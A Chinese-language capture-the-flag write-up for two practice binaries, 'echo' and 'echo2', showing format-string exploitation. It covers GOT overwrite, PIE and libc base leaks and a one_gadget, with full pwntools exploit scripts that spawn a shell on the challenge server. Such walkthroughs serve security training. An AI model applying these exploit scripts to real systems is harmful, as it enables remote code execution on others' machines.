echo和echo2 writeup

echo

防护机制:

checksec

32位的开启了NX的程序
ida反编译一下:

ida

很明显的一个格式化字符串漏洞,加上程序中存在system函数,所以可以将printf_got覆盖成system函数,再传入"/bin/sh" 来getshell
这里我用了pwntools库中的fmtstr_payload()函数

exp:

from pwn import*
context.log_level= "debug"

p = remote('hackme.inndy.tw',7711) 
#p = process('./echo')
elf = ELF('./echo')

system = elf.symbols['system']
printf_got = elf.got['printf']
bss = elf.bss()
offset = 7
payload = fmtstr_payload(offset,{printf_got : system}) # change the got of printf to system
p.send(payload)

p.send("/bin/sh\x00")
p.interactive()

结果:

shell

echo2

防护机制:

image.png

发现程序开启了PIE
PIE:
是位置无关的可执行程序,用于生成位置无关的可执行程序,所谓位置无关的可执行程序,指的是,可执行程序的代码指令集可以被加载到任意位置,进程通过相对地址获取指令操作和数据,如果不是位置无关的可执行程序,则该可执行程序的代码指令集必须放到特定的位置才可运行进程。
但是低两位字节是固定的,可以通过这个泄露出程序基地址

ida反编译:

image.png

发现这题的关键代码和前面那道题很相似,同样是一个格式化字符串漏洞,同样含有system函数,但是这一题是64位的并且开启了PIE的程序,所以需要先泄露出程序的基地址

gdb调试一番:

image.png

格式化字符串位于栈上,并且相对偏移为7
查看栈上的内容:

image.png

程序的栈上有printf函数的返回地址和一些其他函数的返回地址
所以可以通过泄露出printf函数的返回地址来计算出程序的基地址

program_base = leakmemory - offset

泄露__libc_start_main+240的地址来算出libc的基地址
通过在发送payload的语句后加一条gdb.attach(p)语句,进入调试界面,输入vmmap命令,计算出libc_base 和 __libc_start_main+240的偏移,那就可以通过泄露出来的地址得到libc_base的地址了,因为不管PIE它的地址怎么变,__lib_start_main的地址到libc_base的偏移是不会变的,同时可以得到__libc_start_main在libc中的偏移,通过这个偏移可以查到程序的libc的版本libsearch

libc_base = __libc_start_main +240 - offset
offset = __libc_start_main +240 - 0x7ffff7a0d000
libc_start_main_offset = offset - 240

image.png

查到libc的版本

image.png

有这么多 ,一般要再泄露多一个地址,比较精准,不过一个个试也可以,这里服务器用的libc版本是 9

获取了lib版本后就可以开始下一步了,我没有用system函数,我用one_gadget这个工具找到了execve("/bin/sh",null,environ)的偏移,然后将exit_got覆盖成了one_gadget的地址,因为exit也是libc库中的函数,所以只要覆盖低五位就可以了,我用"%hn"来改写地址的内容,一次修改两个字节,改写完后输入"exit",就可以getshell

64位需要注意的是:

  1. 它的函数地址存在'\x00'截断,所以要将函数地址放到最后
  2. 控制好函数地址的相对偏移

exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import*
context.log_level = "debug"

p = remote("hackme.inndy.tw",7712)
#p = process('./echo2')
elf = ELF('./echo2')
exit_got = elf.got['exit']

def memleak(offset):
    payload = '%' + str(offset) + "$p"
    p.sendline(payload)
    data = p.recv()[0:-1]
    print data
    data = int(data,16)
    return data

log.info("************leak program base address************")
_libc_csu_init = memleak(41)
p_add = _libc_csu_init - 0xa03
print "base address -->[%s]"%hex(p_add)


_libc_start_main_add = memleak(43) - 240
print "_libc_start_main_add -->[%s]"%hex(_libc_start_main_add)
_libc_start_main_offset = 0x20740
print "_libc_start_main_offset --> [%s] "%hex(_libc_start_main_offset)
libc_base = _libc_start_main_add - _libc_start_main_offset
print "libc_base --> [%s]"%hex(libc_base) 

one_gadget = 0xf0897#execve("/bin/sh",null,environ)
#one_gadget = 0xf02a4
print "one_gadget --> [%s]"%hex(one_gadget)
one_gadget_add = libc_base + one_gadget
print "on_gadget_add --> [%s]"%hex(one_gadget_add)

log.info("*********write execve address to exit_got*******")
exit_got = p_add + exit_got
print "exit_got --> [%s]"%hex(exit_got)
hex_one_gadget = hex(one_gadget_add)
add1 = str(int(int(hex_one_gadget[-4:],16))-19)
add2 = str(int(int(hex_one_gadget[-8:-4],16))-19)
add3 = str(int(int(hex_one_gadget[-12:-8],16))-19)

payload1 = "aaaaaaaaaaaaaaaaaaa%" + add1 + "c" + "%10$hn" + p64(exit_got)
payload2 = "aaaaaaaaaaaaaaaaaaa%" + add2 + "c" + "%10$hn" + p64(exit_got+2)
payload3 = "aaaaaaaaaaaaaaaaaaa%" + add3 + "c" + "%10$hn" + p64(exit_got+4)
p.sendline(payload1)
p.sendline(payload2)
p.sendline(payload3)
p.send("exit\n")
p.interactive()

结果:

image.png

写echo2的时候参考了大佬的writeup

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,736评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,167评论 1 291
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,442评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,902评论 0 204
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,302评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,573评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,847评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,562评论 0 197
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,260评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,531评论 2 245
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,021评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,367评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,016评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,068评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,827评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,610评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,514评论 2 269

推荐阅读更多精彩内容

  • 0x01 Start checksec 的时候可以看到程序没有打开任何的安全保护措施,然后查看IDA下的汇编代码,...
    Nevv阅读 1,619评论 0 2
  • 一、温故而知新 1. 内存不够怎么办 内存简单分配策略的问题地址空间不隔离内存使用效率低程序运行的地址不确定 关于...
    SeanCST阅读 7,669评论 0 27
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,099评论 18 139
  • 凤绽放生命分享喜悦第三十五天:今天是5月2号星期二,上午在单位整理农合赔案不知不觉就到了下班时间,回家做了简单的午...
    景凤阅读 326评论 0 0
  • 融不进的圈子从不硬融,从不做让自己后悔的事情,从不逼自己做不喜欢的事情,这就是我。 我不喜欢那些过于圆滑的人,总觉...
    寻找欧石楠的月半兔阅读 99评论 0 1